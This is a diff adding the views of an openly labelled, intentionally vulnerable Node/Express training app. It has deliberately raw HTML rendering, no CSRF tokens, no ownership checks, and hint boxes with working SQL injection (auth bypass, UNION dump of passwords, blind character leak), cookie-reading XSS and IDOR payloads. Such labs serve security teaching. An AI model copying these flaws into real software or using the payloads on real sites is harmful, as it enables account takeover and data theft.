diff --git a/node-vuln-app/views/blind.ejs b/node-vuln-app/views/blind.ejs
new file mode 100644
index 00000000..d0797b9e
--- /dev/null
+++ b/node-vuln-app/views/blind.ejs
@@ -0,0 +1,21 @@
+<%- include('partials/header') %>
+<h2>Account existence check <span class="tag">Blind SQLi</span></h2>
+
+<form method="get" action="/account/check">
+  <input name="name" value="<%= name %>" />
+  <button>Check</button>
+</form>
+
+<p>Query run:</p>
+<pre><code><%= sql %></code></pre>
+<p class="result"><b><%= message %></b></p>
+
+<div class="hint">
+  <h4>Boolean-blind exploit</h4>
+  <p>The response text differs depending on whether the WHERE clause matched a
+     row. Use that oracle to leak the admin password one character at a time:</p>
+  <pre><code>/account/check?name=admin' AND substr(password,1,1)='a' --</code></pre>
+  <p>"Account exists." means the guessed character was right. Script the scan
+     over positions 1..N and the alphabet.</p>
+</div>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/file_view.ejs b/node-vuln-app/views/file_view.ejs
new file mode 100644
index 00000000..2409654c
--- /dev/null
+++ b/node-vuln-app/views/file_view.ejs
@@ -0,0 +1,5 @@
+<%- include('partials/header') %>
+<h2><%= file.filename %></h2>
+<pre class="filebody"><%= file.contents %></pre>
+<p><a href="/files">Back to my files</a></p>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/files.ejs b/node-vuln-app/views/files.ejs
new file mode 100644
index 00000000..446a9534
--- /dev/null
+++ b/node-vuln-app/views/files.ejs
@@ -0,0 +1,17 @@
+<%- include('partials/header') %>
+<h2>My files <span class="tag">IDOR</span></h2>
+
+<ul>
+<% mine.forEach(f => { %>
+  <li><a href="/file?id=<%= f.id %>"><%= f.filename %></a> (id=<%= f.id %>)</li>
+<% }) %>
+</ul>
+
+<div class="hint">
+  <h4>IDOR</h4>
+  <p>File ids are sequential integers and <code>/file?id=N</code> does no
+     ownership check. Try pasting a neighbour's id directly:</p>
+  <pre><code>/file?id=1</code></pre>
+  <p>(That one is admin-notes.txt regardless of who's logged in.)</p>
+</div>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/hello.ejs b/node-vuln-app/views/hello.ejs
new file mode 100644
index 00000000..62c0aa2f
--- /dev/null
+++ b/node-vuln-app/views/hello.ejs
@@ -0,0 +1,16 @@
+<%- include('partials/header') %>
+<h2>Hello page <span class="tag">Reflected XSS</span></h2>
+
+<form method="get" action="/hello">
+  <input name="greet" value="<%= greet %>" />
+  <button>Say it</button>
+</form>
+
+<p class="greeting">Greeting: <%- greet %></p>
+
+<div class="hint">
+  <h4>Reflected XSS</h4>
+  <p>The <code>greet</code> parameter is rendered raw. Try:</p>
+  <pre><code>/hello?greet=&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></pre>
+</div>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/index.ejs b/node-vuln-app/views/index.ejs
new file mode 100644
index 00000000..54709409
--- /dev/null
+++ b/node-vuln-app/views/index.ejs
@@ -0,0 +1,49 @@
+<%- include('partials/header') %>
+<h1>node-vuln-app</h1>
+<p>An intentionally vulnerable Node/Express training app. Each link below is a
+   deliberately broken endpoint; the view page for each explains the flaw and
+   provides an exploit example.</p>
+
+<section class="cards">
+  <div class="card">
+    <h3>SQL Injection</h3>
+    <ul>
+      <li><b>Classic (auth bypass):</b> POST <code>/login</code> with <code>username=admin' --</code></li>
+      <li><b>UNION-based:</b> <a href="/search?q=">/search</a></li>
+      <li><b>Blind (boolean):</b> <a href="/account/check?name=admin">/account/check</a></li>
+    </ul>
+  </div>
+  <div class="card">
+    <h3>Cross-Site Scripting</h3>
+    <ul>
+      <li><b>Reflected:</b> <a href="/hello?greet=hi">/hello</a></li>
+      <li><b>Stored:</b> <a href="/messages">/messages</a></li>
+    </ul>
+  </div>
+  <div class="card">
+    <h3>CSRF</h3>
+    <ul>
+      <li><b>Profile email change:</b> POST <code>/profile/update</code></li>
+      <li><b>Password change:</b> POST <code>/profile/password</code></li>
+    </ul>
+    <p>See the README for a drop-in attacker page.</p>
+  </div>
+  <div class="card">
+    <h3>IDOR</h3>
+    <ul>
+      <li><b>File by id:</b> <a href="/file?id=1">/file?id=1</a></li>
+      <li><b>User by id:</b> <a href="/user/1">/user/1</a></li>
+    </ul>
+  </div>
+</section>
+
+<section>
+  <h3>Demo accounts (plaintext passwords on purpose)</h3>
+  <ul>
+    <li><code>admin / admin123</code></li>
+    <li><code>alice / wonderland</code></li>
+    <li><code>bob / builder</code></li>
+    <li><code>carol / carolpass</code></li>
+  </ul>
+</section>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/login.ejs b/node-vuln-app/views/login.ejs
new file mode 100644
index 00000000..3067a947
--- /dev/null
+++ b/node-vuln-app/views/login.ejs
@@ -0,0 +1,25 @@
+<%- include('partials/header') %>
+<h2>Login</h2>
+
+<% if (error) { %><p class="error"><%= error %></p><% } %>
+
+<form method="post" action="/login">
+  <label>Username <input name="username" autofocus></label>
+  <label>Password <input name="password" type="password"></label>
+  <button type="submit">Log in</button>
+</form>
+
+<p><a href="/register">Register a new account</a></p>
+
+<div class="hint">
+  <h4>Try classic SQL injection</h4>
+  <p>Enter <code>admin' --</code> in the username and anything in the password.
+     The backend runs:</p>
+  <pre><code>SELECT id, username, role FROM users
+WHERE username = '{username}' AND password = '{password}'</code></pre>
+  <% if (query) { %>
+  <p>Last query executed:</p>
+  <pre><code><%= query %></code></pre>
+  <% } %>
+</div>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/messages.ejs b/node-vuln-app/views/messages.ejs
new file mode 100644
index 00000000..8e768d95
--- /dev/null
+++ b/node-vuln-app/views/messages.ejs
@@ -0,0 +1,28 @@
+<%- include('partials/header') %>
+<h2>Messages <span class="tag">Stored XSS</span></h2>
+
+<% if (user) { %>
+<form method="post" action="/messages">
+  <textarea name="body" rows="3" placeholder="say something..."></textarea>
+  <button>Post</button>
+</form>
+<% } else { %>
+  <p><a href="/login">Log in</a> to post.</p>
+<% } %>
+
+<ul class="messages">
+  <% messages.forEach(m => { %>
+    <li>
+      <div class="meta"><b><%= m.author %></b> — <%= m.created_at %></div>
+      <div class="body"><%- m.body %></div>
+    </li>
+  <% }) %>
+</ul>
+
+<div class="hint">
+  <h4>Stored XSS</h4>
+  <p>Message bodies are rendered as raw HTML. Log in and post:</p>
+  <pre><code>&lt;img src=x onerror="alert('stored-xss: '+document.cookie)"&gt;</code></pre>
+  <p>Every subsequent visitor fires the payload.</p>
+</div>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/partials/footer.ejs b/node-vuln-app/views/partials/footer.ejs
new file mode 100644
index 00000000..ff84df96
--- /dev/null
+++ b/node-vuln-app/views/partials/footer.ejs
@@ -0,0 +1,6 @@
+</main>
+<footer class="bottombar">
+  <small>Intentionally vulnerable. For education only. Do not expose.</small>
+</footer>
+</body>
+</html>
diff --git a/node-vuln-app/views/partials/header.ejs b/node-vuln-app/views/partials/header.ejs
new file mode 100644
index 00000000..3fcef31a
--- /dev/null
+++ b/node-vuln-app/views/partials/header.ejs
@@ -0,0 +1,29 @@
+<!doctype html>
+<html>
+<head>
+  <meta charset="utf-8" />
+  <title>node-vuln-app</title>
+  <link rel="stylesheet" href="/css/style.css" />
+</head>
+<body>
+<header class="topbar">
+  <a href="/" class="brand">node-vuln-app</a>
+  <nav>
+    <a href="/search?q=">Search (SQLi)</a>
+    <a href="/account/check?name=admin">Blind SQLi</a>
+    <a href="/hello?greet=hi">Hello (XSS)</a>
+    <a href="/messages">Messages (XSS)</a>
+    <a href="/profile">Profile (CSRF)</a>
+    <a href="/files">Files (IDOR)</a>
+  </nav>
+  <div class="auth">
+    <% if (user) { %>
+      <span>logged in as <b><%= user.username %></b> (<%= user.role %>)</span>
+      <a href="/logout">logout</a>
+    <% } else { %>
+      <a href="/login">login</a>
+      <a href="/register">register</a>
+    <% } %>
+  </div>
+</header>
+<main>
diff --git a/node-vuln-app/views/profile.ejs b/node-vuln-app/views/profile.ejs
new file mode 100644
index 00000000..a123360f
--- /dev/null
+++ b/node-vuln-app/views/profile.ejs
@@ -0,0 +1,25 @@
+<%- include('partials/header') %>
+<h2>My profile <span class="tag">CSRF</span></h2>
+
+<% if (flash) { %><p class="flash"><%= flash %></p><% } %>
+
+<p><b>Username:</b> <%= profile.username %> (role: <%= profile.role %>)</p>
+
+<form method="post" action="/profile/update">
+  <label>Email <input name="email" value="<%= profile.email %>"></label>
+  <label>Bio <input name="bio" value="<%= profile.bio || '' %>"></label>
+  <button>Update</button>
+</form>
+
+<form method="post" action="/profile/password">
+  <label>New password <input name="password" type="text" placeholder="new password"></label>
+  <button>Change password</button>
+</form>
+
+<div class="hint">
+  <h4>CSRF</h4>
+  <p>Neither form uses a CSRF token and the session cookie has no SameSite.
+     An attacker page can auto-submit a cross-origin form while the victim is
+     logged in. See README "CSRF walkthrough" for a drop-in attacker page.</p>
+</div>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/register.ejs b/node-vuln-app/views/register.ejs
new file mode 100644
index 00000000..fafdd1ae
--- /dev/null
+++ b/node-vuln-app/views/register.ejs
@@ -0,0 +1,10 @@
+<%- include('partials/header') %>
+<h2>Register</h2>
+<% if (error) { %><p class="error"><%= error %></p><% } %>
+<form method="post" action="/register">
+  <label>Username <input name="username" required></label>
+  <label>Password <input name="password" type="password" required></label>
+  <label>Email <input name="email" type="email" required></label>
+  <button type="submit">Register</button>
+</form>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/search.ejs b/node-vuln-app/views/search.ejs
new file mode 100644
index 00000000..17e26c62
--- /dev/null
+++ b/node-vuln-app/views/search.ejs
@@ -0,0 +1,35 @@
+<%- include('partials/header') %>
+<h2>Search messages <span class="tag">UNION SQLi</span></h2>
+
+<form method="get" action="/search">
+  <input name="q" value="<%= q %>" placeholder="search body" />
+  <button>Search</button>
+</form>
+
+<% if (sql) { %>
+  <p>Executed SQL:</p>
+  <pre><code><%= sql %></code></pre>
+<% } %>
+
+<% if (error) { %><p class="error"><%= error %></p><% } %>
+
+<% if (results && results.length) { %>
+  <table>
+    <thead><tr><th>id</th><th>author / col2</th><th>body / col3</th></tr></thead>
+    <tbody>
+    <% results.forEach(r => { %>
+      <tr><td><%= r.id %></td><td><%= r.author %></td><td><%= r.body %></td></tr>
+    <% }) %>
+    </tbody>
+  </table>
+<% } %>
+
+<div class="hint">
+  <h4>UNION-based SQLi exploit</h4>
+  <p>The search term is concatenated into a 3-column SELECT. Try:</p>
+  <pre><code>zzz' UNION SELECT id, username, password FROM users --</code></pre>
+  <p>Paste that into the search box (or use
+    <code>/search?q=zzz' UNION SELECT id, username, password FROM users --</code>)
+    and the user table comes back in the result rows.</p>
+</div>
+<%- include('partials/footer') %>
diff --git a/node-vuln-app/views/user_view.ejs b/node-vuln-app/views/user_view.ejs
new file mode 100644
index 00000000..a843a203
--- /dev/null
+++ b/node-vuln-app/views/user_view.ejs
@@ -0,0 +1,9 @@
+<%- include('partials/header') %>
+<h2>User #<%= profile.id %>: <%= profile.username %></h2>
+<ul>
+  <li>Email: <%= profile.email %></li>
+  <li>Role: <%= profile.role %></li>
+  <li>Bio: <%= profile.bio %></li>
+</ul>
+<p class="hint">No session check — any id works.</p>
+<%- include('partials/footer') %>